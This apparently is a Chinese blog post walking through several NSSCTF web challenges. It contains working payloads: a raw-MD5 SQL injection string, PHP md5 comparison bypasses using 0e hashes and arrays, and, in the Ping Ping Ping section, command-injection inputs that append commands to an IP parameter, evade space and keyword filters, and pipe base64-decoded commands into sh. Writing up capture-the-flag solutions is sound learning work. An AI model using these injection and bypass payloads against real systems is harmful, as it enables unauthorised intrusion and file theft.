您现在的位置是:首页 >技术杂谈 >nssctf web网站首页技术杂谈

nssctf web

许允er 2023-06-17 16:00:02
简介nssctf web

[BJDCTF 2020]easy_md5

 测试发现输入的内容会通过get传递但是没有其他内容

观察一下响应头

我们看到了 
    select * from 'admin' where password=md5($pass,true)

这里的md5(string,raw)

这里的string应该清楚就是字符串,是必选参数

raw是可选参数 默认不写为FALSE。32位16进制的字符串。TRUE 代表16位2进制字符串。通过post传递

这里是sql查询语句 目的是passdword=传递的值 在sql语句中 or 左右一边为true则语句都为true 这也是我们or 1 = 1 的由来,所有我们在这里要尝试构造带or的参数

or对应的16进制是276f7227 

这里我们使用 ffifdyop    这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6

而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’

然后将ffifdyop传入

 

得到

 


$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    header('Location: levell14.php');

这就是让a 和b参数的md5一样

第一种

通过0e开头的md5绕过 当md5为0e开头的值会被当成0

所有我们构造

?a=s155964671a&b=s214587387a

第二中

第二种就是通过 数组

但是PHP自身的特性使得可以提交一个数组,而md5函数传入数组的返回值都是NULL

构造?a[]=1&b[]=2

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

 那这个也差不多md5匹配param1 和param2

这里是!== 是强匹配所以0e开头不行,使用数组

 

[NCTF 2018]签到题

 

这里只有where is flag 我们 抓包

抓包/这个包发现flag

 这题打开看到 百度就应该想到跳转然后思路抓包

[GXYCTF 2019]Ping Ping Ping

 

& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &

&& 表示前一条命令执行成功时,才执行后一条命令 

| 表示管道,上一条命令的输出,作为下一条命令参数

|| 表示上一条命令执行失败后,才执行下一条命令

; 分号表示命令依次执行。

 

 127.0.0.1|ls 发现有回显

 

但是看不了 过滤了空格

用%21绕过空格

 又过滤了flag

尝试拼接字符串

 c=ag.php d=fl  cat $c$b

?ip=127.0.0.1;c=ag.php;d=fl;cat$IFS$1$d$c

查看源码

 

得到flag 

通过base64加密绕过

echo “cat flag.php” | base64

echo Y2F0IGZsYWcucGhw|base64 -d|sh

echo%21Y2F0IGZsYWcucGhw|base64%21-d|sh

这里%21过滤了使用$IFS$1 代表空格

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

得到flag 

[NISACTF 2022]checkin

 

<?php
error_reporting(0); #屏蔽报错信息
include "flag.php"; #包含flag文件
// ‮⁦NISACTF⁩⁦Welcome to
if ("jitanglailo" == $_GET[ahahahaha] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦N1SACTF" == $_GET[‮⁦Ugeiwo⁩⁦cuishiyuan]) { //tnnd! weishenme b
    echo $FLAG;
}
show_source(__FILE__); 高亮显示
?> 

这里面有不可见字符我们放到vscode

 

 

 通过010选中这里然后url编码这里就是

然后选择

 

 

?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6+Flag!%E2%81%A9%E2%81%A6N1SACTF

[NSSCTF 2022 Spring Recruit]ezgame

这里要超过65分

查看js文件

 

 

 

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。